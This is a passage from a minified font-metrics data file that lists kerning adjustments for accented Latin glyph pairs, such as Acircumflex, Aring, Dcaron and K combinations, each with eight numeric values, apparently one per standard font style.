rcumflexUgrave:[-50,-50,-50,-50,-50,-50,-50,-55],AcircumflexUhungarumlaut:[-50,-50,-50,-50,-50,-50,-50,-55],AcircumflexUmacron:[-50,-50,-50,-50,-50,-50,-50,-55],AcircumflexUogonek:[-50,-50,-50,-50,-50,-50,-50,-55],AcircumflexUring:[-50,-50,-50,-50,-50,-50,-50,-55],AcircumflexV:[-80,-80,-70,-70,-145,-95,-105,-135],AcircumflexW:[-60,-60,-50,-50,-130,-100,-95,-90],AcircumflexY:[-110,-110,-100,-100,-100,-70,-55,-105],AcircumflexYacute:[-110,-110,-100,-100,-100,-70,-55,-105],AcircumflexYdieresis:[-110,-110,-100,-100,-100,-70,-55,-105],Acircumflexu:[-30,-30,-30,-30,-50,-30,-20],Acircumflexuacute:[-30,-30,-30,-30,-50,-30,-20],Acircumflexucircumflex:[-30,-30,-30,-30,-50,-30,-20],Acircumflexudieresis:[-30,-30,-30,-30,-50,-30,-20],Acircumflexugrave:[-30,-30,-30,-30,-50,-30,-20],Acircumflexuhungarumlaut:[-30,-30,-30,-30,-50,-30,-20],Acircumflexumacron:[-30,-30,-30,-30,-50,-30,-20],Acircumflexuogonek:[-30,-30,-30,-30,-50,-30,-20],Acircumflexuring:[-30,-30,-30,-30,-50,-30,-20],Acircumflexv:[-40,-40,-40,-40,-100,-74,-55,-74],Acircumflexw:[-30,-30,-40,-40,-90,-74,-55,-92],Acircumflexy:[-30,-30,-40,-40,-74,-74,-55,-92],Acircumflexyacute:[-30,-30,-40,-40,-74,-74,-55,-92],Acircumflexydieresis:[-30,-30,-40,-40,-74,-74,-55,-92],AdieresisC:[-40,-40,-30,-30,-55,-65,-30,-40],AdieresisCacute:[-40,-40,-30,-30,-55,-65,-30,-40],AdieresisCcaron:[-40,-40,-30,-30,-55,-65,-30,-40],AdieresisCcedilla:[-40,-40,-30,-30,-55,-65,-30,-40],AdieresisG:[-50,-50,-30,-30,-55,-60,-35,-40],AdieresisGbreve:[-50,-50,-30,-30,-55,-60,-35,-40],AdieresisGcommaaccent:[-50,-50,-30,-30,-55,-60,-35,-40],AdieresisO:[-40,-40,-30,-30,-45,-50,-40,-55],AdieresisOacute:[-40,-40,-30,-30,-45,-50,-40,-55],AdieresisOcircumflex:[-40,-40,-30,-30,-45,-50,-40,-55],AdieresisOdieresis:[-40,-40,-30,-30,-45,-50,-40,-55],AdieresisOgrave:[-40,-40,-30,-30,-45,-50,-40,-55],AdieresisOhungarumlaut:[-40,-40,-30,-30,-45,-50,-40,-55],AdieresisOmacron:[-40,-40,-30,-30,-45,-50,-40,-55],AdieresisOslash:[-40,-40,-30,-30,-45,-50,-40,-55],AdieresisOtilde:[-40,-40,-30,-30,-45,-50,-40,-55],AdieresisQ:[-40,-40,-30,-30,-45,-55,-40,-55],AdieresisT:[-90,-90,-120,-120,-95,-55,-37,-111],AdieresisTcaron:[-90,-90,-120,-120,-95,-55,-37,-111],AdieresisTcommaaccent:[-90,-90,-120,-120,-95,-55,-37,-111],AdieresisU:[-50,-50,-50,-50,-50,-50,-50,-55],AdieresisUacute:[-50,-50,-50,-50,-50,-50,-50,-55],AdieresisUcircumflex:[-50,-50,-50,-50,-50,-50,-50,-55],AdieresisUdieresis:[-50,-50,-50,-50,-50,-50,-50,-55],AdieresisUgrave:[-50,-50,-50,-50,-50,-50,-50,-55],AdieresisUhungarumlaut:[-50,-50,-50,-50,-50,-50,-50,-55],AdieresisUmacron:[-50,-50,-50,-50,-50,-50,-50,-55],AdieresisUogonek:[-50,-50,-50,-50,-50,-50,-50,-55],AdieresisUring:[-50,-50,-50,-50,-50,-50,-50,-55],AdieresisV:[-80,-80,-70,-70,-145,-95,-105,-135],AdieresisW:[-60,-60,-50,-50,-130,-100,-95,-90],AdieresisY:[-110,-110,-100,-100,-100,-70,-55,-105],AdieresisYacute:[-110,-110,-100,-100,-100,-70,-55,-105],AdieresisYdieresis:[-110,-110,-100,-100,-100,-70,-55,-105],Adieresisu:[-30,-30,-30,-30,-50,-30,-20],Adieresisuacute:[-30,-30,-30,-30,-50,-30,-20],Adieresisucircumflex:[-30,-30,-30,-30,-50,-30,-20],Adieresisudieresis:[-30,-30,-30,-30,-50,-30,-20],Adieresisugrave:[-30,-30,-30,-30,-50,-30,-20],Adieresisuhungarumlaut:[-30,-30,-30,-30,-50,-30,-20],Adieresisumacron:[-30,-30,-30,-30,-50,-30,-20],Adieresisuogonek:[-30,-30,-30,-30,-50,-30,-20],Adieresisuring:[-30,-30,-30,-30,-50,-30,-20],Adieresisv:[-40,-40,-40,-40,-100,-74,-55,-74],Adieresisw:[-30,-30,-40,-40,-90,-74,-55,-92],Adieresisy:[-30,-30,-40,-40,-74,-74,-55,-92],Adieresisyacute:[-30,-30,-40,-40,-74,-74,-55,-92],Adieresisydieresis:[-30,-30,-40,-40,-74,-74,-55,-92],AgraveC:[-40,-40,-30,-30,-55,-65,-30,-40],AgraveCacute:[-40,-40,-30,-30,-55,-65,-30,-40],AgraveCcaron:[-40,-40,-30,-30,-55,-65,-30,-40],AgraveCcedilla:[-40,-40,-30,-30,-55,-65,-30,-40],AgraveG:[-50,-50,-30,-30,-55,-60,-35,-40],AgraveGbreve:[-50,-50,-30,-30,-55,-60,-35,-40],AgraveGcommaaccent:[-50,-50,-30,-30,-55,-60,-35,-40],AgraveO:[-40,-40,-30,-30,-45,-50,-40,-55],AgraveOacute:[-40,-40,-30,-30,-45,-50,-40,-55],AgraveOcircumflex:[-40,-40,-30,-30,-45,-50,-40,-55],AgraveOdieresis:[-40,-40,-30,-30,-45,-50,-40,-55],AgraveOgrave:[-40,-40,-30,-30,-45,-50,-40,-55],AgraveOhungarumlaut:[-40,-40,-30,-30,-45,-50,-40,-55],AgraveOmacron:[-40,-40,-30,-30,-45,-50,-40,-55],AgraveOslash:[-40,-40,-30,-30,-45,-50,-40,-55],AgraveOtilde:[-40,-40,-30,-30,-45,-50,-40,-55],AgraveQ:[-40,-40,-30,-30,-45,-55,-40,-55],AgraveT:[-90,-90,-120,-120,-95,-55,-37,-111],AgraveTcaron:[-90,-90,-120,-120,-95,-55,-37,-111],AgraveTcommaaccent:[-90,-90,-120,-120,-95,-55,-37,-111],AgraveU:[-50,-50,-50,-50,-50,-50,-50,-55],AgraveUacute:[-50,-50,-50,-50,-50,-50,-50,-55],AgraveUcircumflex:[-50,-50,-50,-50,-50,-50,-50,-55],AgraveUdieresis:[-50,-50,-50,-50,-50,-50,-50,-55],AgraveUgrave:[-50,-50,-50,-50,-50,-50,-50,-55],AgraveUhungarumlaut:[-50,-50,-50,-50,-50,-50,-50,-55],AgraveUmacron:[-50,-50,-50,-50,-50,-50,-50,-55],AgraveUogonek:[-50,-50,-50,-50,-50,-50,-50,-55],AgraveUring:[-50,-50,-50,-50,-50,-50,-50,-55],AgraveV:[-80,-80,-70,-70,-145,-95,-105,-135],AgraveW:[-60,-60,-50,-50,-130,-100,-95,-90],AgraveY:[-110,-110,-100,-100,-100,-70,-55,-105],AgraveYacute:[-110,-110,-100,-100,-100,-70,-55,-105],AgraveYdieresis:[-110,-110,-100,-100,-100,-70,-55,-105],Agraveu:[-30,-30,-30,-30,-50,-30,-20],Agraveuacute:[-30,-30,-30,-30,-50,-30,-20],Agraveucircumflex:[-30,-30,-30,-30,-50,-30,-20],Agraveudieresis:[-30,-30,-30,-30,-50,-30,-20],Agraveugrave:[-30,-30,-30,-30,-50,-30,-20],Agraveuhungarumlaut:[-30,-30,-30,-30,-50,-30,-20],Agraveumacron:[-30,-30,-30,-30,-50,-30,-20],Agraveuogonek:[-30,-30,-30,-30,-50,-30,-20],Agraveuring:[-30,-30,-30,-30,-50,-30,-20],Agravev:[-40,-40,-40,-40,-100,-74,-55,-74],Agravew:[-30,-30,-40,-40,-90,-74,-55,-92],Agravey:[-30,-30,-40,-40,-74,-74,-55,-92],Agraveyacute:[-30,-30,-40,-40,-74,-74,-55,-92],Agraveydieresis:[-30,-30,-40,-40,-74,-74,-55,-92],AmacronC:[-40,-40,-30,-30,-55,-65,-30,-40],AmacronCacute:[-40,-40,-30,-30,-55,-65,-30,-40],AmacronCcaron:[-40,-40,-30,-30,-55,-65,-30,-40],AmacronCcedilla:[-40,-40,-30,-30,-55,-65,-30,-40],AmacronG:[-50,-50,-30,-30,-55,-60,-35,-40],AmacronGbreve:[-50,-50,-30,-30,-55,-60,-35,-40],AmacronGcommaaccent:[-50,-50,-30,-30,-55,-60,-35,-40],AmacronO:[-40,-40,-30,-30,-45,-50,-40,-55],AmacronOacute:[-40,-40,-30,-30,-45,-50,-40,-55],AmacronOcircumflex:[-40,-40,-30,-30,-45,-50,-40,-55],AmacronOdieresis:[-40,-40,-30,-30,-45,-50,-40,-55],AmacronOgrave:[-40,-40,-30,-30,-45,-50,-40,-55],AmacronOhungarumlaut:[-40,-40,-30,-30,-45,-50,-40,-55],AmacronOmacron:[-40,-40,-30,-30,-45,-50,-40,-55],AmacronOslash:[-40,-40,-30,-30,-45,-50,-40,-55],AmacronOtilde:[-40,-40,-30,-30,-45,-50,-40,-55],AmacronQ:[-40,-40,-30,-30,-45,-55,-40,-55],AmacronT:[-90,-90,-120,-120,-95,-55,-37,-111],AmacronTcaron:[-90,-90,-120,-120,-95,-55,-37,-111],AmacronTcommaaccent:[-90,-90,-120,-120,-95,-55,-37,-111],AmacronU:[-50,-50,-50,-50,-50,-50,-50,-55],AmacronUacute:[-50,-50,-50,-50,-50,-50,-50,-55],AmacronUcircumflex:[-50,-50,-50,-50,-50,-50,-50,-55],AmacronUdieresis:[-50,-50,-50,-50,-50,-50,-50,-55],AmacronUgrave:[-50,-50,-50,-50,-50,-50,-50,-55],AmacronUhungarumlaut:[-50,-50,-50,-50,-50,-50,-50,-55],AmacronUmacron:[-50,-50,-50,-50,-50,-50,-50,-55],AmacronUogonek:[-50,-50,-50,-50,-50,-50,-50,-55],AmacronUring:[-50,-50,-50,-50,-50,-50,-50,-55],AmacronV:[-80,-80,-70,-70,-145,-95,-105,-135],AmacronW:[-60,-60,-50,-50,-130,-100,-95,-90],AmacronY:[-110,-110,-100,-100,-100,-70,-55,-105],AmacronYacute:[-110,-110,-100,-100,-100,-70,-55,-105],AmacronYdieresis:[-110,-110,-100,-100,-100,-70,-55,-105],Amacronu:[-30,-30,-30,-30,-50,-30,-20],Amacronuacute:[-30,-30,-30,-30,-50,-30,-20],Amacronucircumflex:[-30,-30,-30,-30,-50,-30,-20],Amacronudieresis:[-30,-30,-30,-30,-50,-30,-20],Amacronugrave:[-30,-30,-30,-30,-50,-30,-20],Amacronuhungarumlaut:[-30,-30,-30,-30,-50,-30,-20],Amacronumacron:[-30,-30,-30,-30,-50,-30,-20],Amacronuogonek:[-30,-30,-30,-30,-50,-30,-20],Amacronuring:[-30,-30,-30,-30,-50,-30,-20],Amacronv:[-40,-40,-40,-40,-100,-74,-55,-74],Amacronw:[-30,-30,-40,-40,-90,-74,-55,-92],Amacrony:[-30,-30,-40,-40,-74,-74,-55,-92],Amacronyacute:[-30,-30,-40,-40,-74,-74,-55,-92],Amacronydieresis:[-30,-30,-40,-40,-74,-74,-55,-92],AogonekC:[-40,-40,-30,-30,-55,-65,-30,-40],AogonekCacute:[-40,-40,-30,-30,-55,-65,-30,-40],AogonekCcaron:[-40,-40,-30,-30,-55,-65,-30,-40],AogonekCcedilla:[-40,-40,-30,-30,-55,-65,-30,-40],AogonekG:[-50,-50,-30,-30,-55,-60,-35,-40],AogonekGbreve:[-50,-50,-30,-30,-55,-60,-35,-40],AogonekGcommaaccent:[-50,-50,-30,-30,-55,-60,-35,-40],AogonekO:[-40,-40,-30,-30,-45,-50,-40,-55],AogonekOacute:[-40,-40,-30,-30,-45,-50,-40,-55],AogonekOcircumflex:[-40,-40,-30,-30,-45,-50,-40,-55],AogonekOdieresis:[-40,-40,-30,-30,-45,-50,-40,-55],AogonekOgrave:[-40,-40,-30,-30,-45,-50,-40,-55],AogonekOhungarumlaut:[-40,-40,-30,-30,-45,-50,-40,-55],AogonekOmacron:[-40,-40,-30,-30,-45,-50,-40,-55],AogonekOslash:[-40,-40,-30,-30,-45,-50,-40,-55],AogonekOtilde:[-40,-40,-30,-30,-45,-50,-40,-55],AogonekQ:[-40,-40,-30,-30,-45,-55,-40,-55],AogonekT:[-90,-90,-120,-120,-95,-55,-37,-111],AogonekTcaron:[-90,-90,-120,-120,-95,-55,-37,-111],AogonekTcommaaccent:[-90,-90,-120,-120,-95,-55,-37,-111],AogonekU:[-50,-50,-50,-50,-50,-50,-50,-55],AogonekUacute:[-50,-50,-50,-50,-50,-50,-50,-55],AogonekUcircumflex:[-50,-50,-50,-50,-50,-50,-50,-55],AogonekUdieresis:[-50,-50,-50,-50,-50,-50,-50,-55],AogonekUgrave:[-50,-50,-50,-50,-50,-50,-50,-55],AogonekUhungarumlaut:[-50,-50,-50,-50,-50,-50,-50,-55],AogonekUmacron:[-50,-50,-50,-50,-50,-50,-50,-55],AogonekUogonek:[-50,-50,-50,-50,-50,-50,-50,-55],AogonekUring:[-50,-50,-50,-50,-50,-50,-50,-55],AogonekV:[-80,-80,-70,-70,-145,-95,-105,-135],AogonekW:[-60,-60,-50,-50,-130,-100,-95,-90],AogonekY:[-110,-110,-100,-100,-100,-70,-55,-105],AogonekYacute:[-110,-110,-100,-100,-100,-70,-55,-105],AogonekYdieresis:[-110,-110,-100,-100,-100,-70,-55,-105],Aogoneku:[-30,-30,-30,-30,-50,-30,-20],Aogonekuacute:[-30,-30,-30,-30,-50,-30,-20],Aogonekucircumflex:[-30,-30,-30,-30,-50,-30,-20],Aogonekudieresis:[-30,-30,-30,-30,-50,-30,-20],Aogonekugrave:[-30,-30,-30,-30,-50,-30,-20],Aogonekuhungarumlaut:[-30,-30,-30,-30,-50,-30,-20],Aogonekumacron:[-30,-30,-30,-30,-50,-30,-20],Aogonekuogonek:[-30,-30,-30,-30,-50,-30,-20],Aogonekuring:[-30,-30,-30,-30,-50,-30,-20],Aogonekv:[-40,-40,-40,-40,-100,-74,-55,-74],Aogonekw:[-30,-30,-40,-40,-90,-74,-55,-52],Aogoneky:[-30,-30,-40,-40,-34,-34,-55,-52],Aogonekyacute:[-30,-30,-40,-40,-34,-34,-55,-52],Aogonekydieresis:[-30,-30,-40,-40,-34,-34,-55,-52],AringC:[-40,-40,-30,-30,-55,-65,-30,-40],AringCacute:[-40,-40,-30,-30,-55,-65,-30,-40],AringCcaron:[-40,-40,-30,-30,-55,-65,-30,-40],AringCcedilla:[-40,-40,-30,-30,-55,-65,-30,-40],AringG:[-50,-50,-30,-30,-55,-60,-35,-40],AringGbreve:[-50,-50,-30,-30,-55,-60,-35,-40],AringGcommaaccent:[-50,-50,-30,-30,-55,-60,-35,-40],AringO:[-40,-40,-30,-30,-45,-50,-40,-55],AringOacute:[-40,-40,-30,-30,-45,-50,-40,-55],AringOcircumflex:[-40,-40,-30,-30,-45,-50,-40,-55],AringOdieresis:[-40,-40,-30,-30,-45,-50,-40,-55],AringOgrave:[-40,-40,-30,-30,-45,-50,-40,-55],AringOhungarumlaut:[-40,-40,-30,-30,-45,-50,-40,-55],AringOmacron:[-40,-40,-30,-30,-45,-50,-40,-55],AringOslash:[-40,-40,-30,-30,-45,-50,-40,-55],AringOtilde:[-40,-40,-30,-30,-45,-50,-40,-55],AringQ:[-40,-40,-30,-30,-45,-55,-40,-55],AringT:[-90,-90,-120,-120,-95,-55,-37,-111],AringTcaron:[-90,-90,-120,-120,-95,-55,-37,-111],AringTcommaaccent:[-90,-90,-120,-120,-95,-55,-37,-111],AringU:[-50,-50,-50,-50,-50,-50,-50,-55],AringUacute:[-50,-50,-50,-50,-50,-50,-50,-55],AringUcircumflex:[-50,-50,-50,-50,-50,-50,-50,-55],AringUdieresis:[-50,-50,-50,-50,-50,-50,-50,-55],AringUgrave:[-50,-50,-50,-50,-50,-50,-50,-55],AringUhungarumlaut:[-50,-50,-50,-50,-50,-50,-50,-55],AringUmacron:[-50,-50,-50,-50,-50,-50,-50,-55],AringUogonek:[-50,-50,-50,-50,-50,-50,-50,-55],AringUring:[-50,-50,-50,-50,-50,-50,-50,-55],AringV:[-80,-80,-70,-70,-145,-95,-105,-135],AringW:[-60,-60,-50,-50,-130,-100,-95,-90],AringY:[-110,-110,-100,-100,-100,-70,-55,-105],AringYacute:[-110,-110,-100,-100,-100,-70,-55,-105],AringYdieresis:[-110,-110,-100,-100,-100,-70,-55,-105],Aringu:[-30,-30,-30,-30,-50,-30,-20],Aringuacute:[-30,-30,-30,-30,-50,-30,-20],Aringucircumflex:[-30,-30,-30,-30,-50,-30,-20],Aringudieresis:[-30,-30,-30,-30,-50,-30,-20],Aringugrave:[-30,-30,-30,-30,-50,-30,-20],Aringuhungarumlaut:[-30,-30,-30,-30,-50,-30,-20],Aringumacron:[-30,-30,-30,-30,-50,-30,-20],Aringuogonek:[-30,-30,-30,-30,-50,-30,-20],Aringuring:[-30,-30,-30,-30,-50,-30,-20],Aringv:[-40,-40,-40,-40,-100,-74,-55,-74],Aringw:[-30,-30,-40,-40,-90,-74,-55,-92],Aringy:[-30,-30,-40,-40,-74,-74,-55,-92],Aringyacute:[-30,-30,-40,-40,-74,-74,-55,-92],Aringydieresis:[-30,-30,-40,-40,-74,-74,-55,-92],AtildeC:[-40,-40,-30,-30,-55,-65,-30,-40],AtildeCacute:[-40,-40,-30,-30,-55,-65,-30,-40],AtildeCcaron:[-40,-40,-30,-30,-55,-65,-30,-40],AtildeCcedilla:[-40,-40,-30,-30,-55,-65,-30,-40],AtildeG:[-50,-50,-30,-30,-55,-60,-35,-40],AtildeGbreve:[-50,-50,-30,-30,-55,-60,-35,-40],AtildeGcommaaccent:[-50,-50,-30,-30,-55,-60,-35,-40],AtildeO:[-40,-40,-30,-30,-45,-50,-40,-55],AtildeOacute:[-40,-40,-30,-30,-45,-50,-40,-55],AtildeOcircumflex:[-40,-40,-30,-30,-45,-50,-40,-55],AtildeOdieresis:[-40,-40,-30,-30,-45,-50,-40,-55],AtildeOgrave:[-40,-40,-30,-30,-45,-50,-40,-55],AtildeOhungarumlaut:[-40,-40,-30,-30,-45,-50,-40,-55],AtildeOmacron:[-40,-40,-30,-30,-45,-50,-40,-55],AtildeOslash:[-40,-40,-30,-30,-45,-50,-40,-55],AtildeOtilde:[-40,-40,-30,-30,-45,-50,-40,-55],AtildeQ:[-40,-40,-30,-30,-45,-55,-40,-55],AtildeT:[-90,-90,-120,-120,-95,-55,-37,-111],AtildeTcaron:[-90,-90,-120,-120,-95,-55,-37,-111],AtildeTcommaaccent:[-90,-90,-120,-120,-95,-55,-37,-111],AtildeU:[-50,-50,-50,-50,-50,-50,-50,-55],AtildeUacute:[-50,-50,-50,-50,-50,-50,-50,-55],AtildeUcircumflex:[-50,-50,-50,-50,-50,-50,-50,-55],AtildeUdieresis:[-50,-50,-50,-50,-50,-50,-50,-55],AtildeUgrave:[-50,-50,-50,-50,-50,-50,-50,-55],AtildeUhungarumlaut:[-50,-50,-50,-50,-50,-50,-50,-55],AtildeUmacron:[-50,-50,-50,-50,-50,-50,-50,-55],AtildeUogonek:[-50,-50,-50,-50,-50,-50,-50,-55],AtildeUring:[-50,-50,-50,-50,-50,-50,-50,-55],AtildeV:[-80,-80,-70,-70,-145,-95,-105,-135],AtildeW:[-60,-60,-50,-50,-130,-100,-95,-90],AtildeY:[-110,-110,-100,-100,-100,-70,-55,-105],AtildeYacute:[-110,-110,-100,-100,-100,-70,-55,-105],AtildeYdieresis:[-110,-110,-100,-100,-100,-70,-55,-105],Atildeu:[-30,-30,-30,-30,-50,-30,-20],Atildeuacute:[-30,-30,-30,-30,-50,-30,-20],Atildeucircumflex:[-30,-30,-30,-30,-50,-30,-20],Atildeudieresis:[-30,-30,-30,-30,-50,-30,-20],Atildeugrave:[-30,-30,-30,-30,-50,-30,-20],Atildeuhungarumlaut:[-30,-30,-30,-30,-50,-30,-20],Atildeumacron:[-30,-30,-30,-30,-50,-30,-20],Atildeuogonek:[-30,-30,-30,-30,-50,-30,-20],Atildeuring:[-30,-30,-30,-30,-50,-30,-20],Atildev:[-40,-40,-40,-40,-100,-74,-55,-74],Atildew:[-30,-30,-40,-40,-90,-74,-55,-92],Atildey:[-30,-30,-40,-40,-74,-74,-55,-92],Atildeyacute:[-30,-30,-40,-40,-74,-74,-55,-92],Atildeydieresis:[-30,-30,-40,-40,-74,-74,-55,-92],BA:[-30,-30,0,0,-30,-25,-25,-35],BAacute:[-30,-30,0,0,-30,-25,-25,-35],BAbreve:[-30,-30,0,0,-30,-25,-25,-35],BAcircumflex:[-30,-30,0,0,-30,-25,-25,-35],BAdieresis:[-30,-30,0,0,-30,-25,-25,-35],BAgrave:[-30,-30,0,0,-30,-25,-25,-35],BAmacron:[-30,-30,0,0,-30,-25,-25,-35],BAogonek:[-30,-30,0,0,-30,-25,-25,-35],BAring:[-30,-30,0,0,-30,-25,-25,-35],BAtilde:[-30,-30,0,0,-30,-25,-25,-35],BU:[-10,-10,-10,-10,-10,-10,-10,-10],BUacute:[-10,-10,-10,-10,-10,-10,-10,-10],BUcircumflex:[-10,-10,-10,-10,-10,-10,-10,-10],BUdieresis:[-10,-10,-10,-10,-10,-10,-10,-10],BUgrave:[-10,-10,-10,-10,-10,-10,-10,-10],BUhungarumlaut:[-10,-10,-10,-10,-10,-10,-10,-10],BUmacron:[-10,-10,-10,-10,-10,-10,-10,-10],BUogonek:[-10,-10,-10,-10,-10,-10,-10,-10],BUring:[-10,-10,-10,-10,-10,-10,-10,-10],DA:[-40,-40,-40,-40,-35,-25,-35,-40],DAacute:[-40,-40,-40,-40,-35,-25,-35,-40],DAbreve:[-40,-40,-40,-40,-35,-25,-35,-40],DAcircumflex:[-40,-40,-40,-40,-35,-25,-35,-40],DAdieresis:[-40,-40,-40,-40,-35,-25,-35,-40],DAgrave:[-40,-40,-40,-40,-35,-25,-35,-40],DAmacron:[-40,-40,-40,-40,-35,-25,-35,-40],DAogonek:[-40,-40,-40,-40,-35,-25,-35,-40],DAring:[-40,-40,-40,-40,-35,-25,-35,-40],DAtilde:[-40,-40,-40,-40,-35,-25,-35,-40],DV:[-40,-40,-70,-70,-40,-50,-40,-40],DW:[-40,-40,-40,-40,-40,-40,-40,-30],DY:[-70,-70,-90,-90,-40,-50,-40,-55],DYacute:[-70,-70,-90,-90,-40,-50,-40,-55],DYdieresis:[-70,-70,-90,-90,-40,-50,-40,-55],Dcomma:[-30,-30,-70,-70],Dperiod:[-30,-30,-70,-70,-20],DcaronA:[-40,-40,-40,-40,-35,-25,-35,-40],DcaronAacute:[-40,-40,-40,-40,-35,-25,-35,-40],DcaronAbreve:[-40,-40,-40,-40,-35,-25,-35,-40],DcaronAcircumflex:[-40,-40,-40,-40,-35,-25,-35,-40],DcaronAdieresis:[-40,-40,-40,-40,-35,-25,-35,-40],DcaronAgrave:[-40,-40,-40,-40,-35,-25,-35,-40],DcaronAmacron:[-40,-40,-40,-40,-35,-25,-35,-40],DcaronAogonek:[-40,-40,-40,-40,-35,-25,-35,-40],DcaronAring:[-40,-40,-40,-40,-35,-25,-35,-40],DcaronAtilde:[-40,-40,-40,-40,-35,-25,-35,-40],DcaronV:[-40,-40,-70,-70,-40,-50,-40,-40],DcaronW:[-40,-40,-40,-40,-40,-40,-40,-30],DcaronY:[-70,-70,-90,-90,-40,-50,-40,-55],DcaronYacute:[-70,-70,-90,-90,-40,-50,-40,-55],DcaronYdieresis:[-70,-70,-90,-90,-40,-50,-40,-55],Dcaroncomma:[-30,-30,-70,-70],Dcaronperiod:[-30,-30,-70,-70,-20],DcroatA:[-40,-40,-40,-40,-35,-25,-35,-40],DcroatAacute:[-40,-40,-40,-40,-35,-25,-35,-40],DcroatAbreve:[-40,-40,-40,-40,-35,-25,-35,-40],DcroatAcircumflex:[-40,-40,-40,-40,-35,-25,-35,-40],DcroatAdieresis:[-40,-40,-40,-40,-35,-25,-35,-40],DcroatAgrave:[-40,-40,-40,-40,-35,-25,-35,-40],DcroatAmacron:[-40,-40,-40,-40,-35,-25,-35,-40],DcroatAogonek:[-40,-40,-40,-40,-35,-25,-35,-40],DcroatAring:[-40,-40,-40,-40,-35,-25,-35,-40],DcroatAtilde:[-40,-40,-40,-40,-35,-25,-35,-40],DcroatV:[-40,-40,-70,-70,-40,-50,-40,-40],DcroatW:[-40,-40,-40,-40,-40,-40,-40,-30],DcroatY:[-70,-70,-90,-90,-40,-50,-40,-55],DcroatYacute:[-70,-70,-90,-90,-40,-50,-40,-55],DcroatYdieresis:[-70,-70,-90,-90,-40,-50,-40,-55],Dcroatcomma:[-30,-30,-70,-70],Dcroatperiod:[-30,-30,-70,-70,-20],FA:[-80,-80,-80,-80,-90,-100,-115,-74],FAacute:[-80,-80,-80,-80,-90,-100,-115,-74],FAbreve:[-80,-80,-80,-80,-90,-100,-115,-74],FAcircumflex:[-80,-80,-80,-80,-90,-100,-115,-74],FAdieresis:[-80,-80,-80,-80,-90,-100,-115,-74],FAgrave:[-80,-80,-80,-80,-90,-100,-115,-74],FAmacron:[-80,-80,-80,-80,-90,-100,-115,-74],FAogonek:[-80,-80,-80,-80,-90,-100,-115,-74],FAring:[-80,-80,-80,-80,-90,-100,-115,-74],FAtilde:[-80,-80,-80,-80,-90,-100,-115,-74],Fa:[-20,-20,-50,-50,-25,-95,-75,-15],Faacute:[-20,-20,-50,-50,-25,-95,-75,-15],Fabreve:[-20,-20,-50,-50,-25,-95,-75,-15],Facircumflex:[-20,-20,-50,-50,-25,-95,-75,-15],Fadieresis:[-20,-20,-50,-50,-25,-95,-75,-15],Fagrave:[-20,-20,-50,-50,-25,-95,-75,-15],Famacron:[-20,-20,-50,-50,-25,-95,-75,-15],Faogonek:[-20,-20,-50,-50,-25,-95,-75,-15],Faring:[-20,-20,-50,-50,-25,-95,-75,-15],Fatilde:[-20,-20,-50,-50,-25,-95,-75,-15],Fcomma:[-100,-100,-150,-150,-92,-129,-135,-80],Fperiod:[-100,-100,-150,-150,-110,-129,-135,-80],JA:[-20,-20,-20,-20,-30,-25,-40,-60],JAacute:[-20,-20,-20,-20,-30,-25,-40,-60],JAbreve:[-20,-20,-20,-20,-30,-25,-40,-60],JAcircumflex:[-20,-20,-20,-20,-30,-25,-40,-60],JAdieresis:[-20,-20,-20,-20,-30,-25,-40,-60],JAgrave:[-20,-20,-20,-20,-30,-25,-40,-60],JAmacron:[-20,-20,-20,-20,-30,-25,-40,-60],JAogonek:[-20,-20,-20,-20,-30,-25,-40,-60],JAring:[-20,-20,-20,-20,-30,-25,-40,-60],JAtilde:[-20,-20,-20,-20,-30,-25,-40,-60],Jcomma:[-20,-20,-30,-30,0,-10,-25],Jperiod:[-20,-20,-30,-30,-20,-10,-25],Ju:[-20,-20,-20,-20,-15,-40,-35],Juacute:[-20,-20,-20,-20,-15,-40,-35],Jucircumflex:[-20,-20,-20,-20,-15,-40,-35],Judieresis:[-20,-20,-20,-20,-15,-40,-35],Jugrave:[-20,-20,-20,-20,-15,-40,-35],Juhungarumlaut:[-20,-20,-20,-20,-15,-40,-35],Jumacron:[-20,-20,-20,-20,-15,-40,-35],Juogonek:[-20,-20,-20,-20,-15,-40,-35],Juring:[-20,-20,-20,-20,-15,-40,-35],KO:[-30,-30,-50,-50,-30,-30,-50,-30],KOacute:[-30,-30,-50,-50,-30,-30,-50,-30],KOcircumflex:[-30,-30,-50,-50,-30,-30,-50,-30],KOdieresis:[-30,-30,-50,-50,-30,-30,-50,-30],KOgrave:[-30,-30,-50,-50,-30,-30,-50,-30],KOhungarumlaut:[-30,-30,-50,-50,-30,-30,-50,-30],KOmacron:[-30,-30,-50,-50,-30,-30,-50,-30],KOslash:[-30,-30,-50,-50,-30,-30,-50,-30],KOtilde:[-30,-30,-50,-50,-30,-30,-50,-30],Ke:[-15,-15,-40,-40,-25,-25,-35,-25],Keacute:[-15,-15,-40,-40,-25,-25,-35,-25],Kecaron:[-15,-15,-40,-40,-25,-25,-35,-25],Kecircumflex:[-15,-15,-40,-40,-25,-25,-35,-25],Kedieresis:[-15,-15,-40,-40,-25,-25,-35,-25],Kedotaccent:[-15,-15,-40,-40,-25,-25,-35,-25],Kegrave:[-15,-15,-40,-40,-25,-25,-35,-25],Kemacron:[-15,-15,-40,-40,-25,-25,-35,-25],Keogonek:[-15,-15,-40,-40,-25,-25,-35,-25],Ko:[-35,-35,-40,-40,-25,-25,-40,-35],Koacute:[-35,-35,-40,-40,-25,-25,-40,-35],Kocircumflex:[-35,-35,-40,-40,-25,-25,-40,-35],Kodieresis:[-35,-35,-40,-40,-25,-25,-40,-35],Kograve:[-35,-35,-40,-40,-25,-25,-40,-35],Kohungarumlaut:[-35,-35,-40,-40,-25,-25,-40,-35],Komacron:[-35,-35,-40,-40,-25,-25,-40,-35],Koslash:[-35,-35,-40,-40,-25,-25,-40,-35],Kotilde:[-35,-35,-40,-40,-25,-25,-40,-35],Ku:[-30,-30,-30,-30,-15,-20,-40,-15],Kuacute:[-30,-30,-30,-30,-15,-20,-40,-15],Kucircumflex:[-30,-30,-30,-30,-15,-20,-40,-15],Kudieresis:[-30,-30,-30,-30,-15,-20,-40,-15],Kugrave:[-30,-30,-30,-30,-15,-20,-40,-15],Kuhungarumlaut:[-30,-30,-30,-30,-15,-20,-40,-15],Kumacron:[-30,-30,-30,-30,-15,-20,-40,-15],Kuogonek:[-30,-30,-30,-30,-15,-20,-40,-15],Kuring:[-30,-30,-30,-30,-15,-20,-40,-15],Ky:[-40,-40,-50,-50,-45,-20,-40,-25],Kyacute:[-40,-40,-50,-50,-45,-20,-40,-25],Kydieresis:[-40,-40,-50,-50,-45,-20,-40,-25],KcommaaccentO:[-30,-30,-50,-50,-30,-30,-50,-30],KcommaaccentOacute:[-30,-30,-50,-50,-30,-30,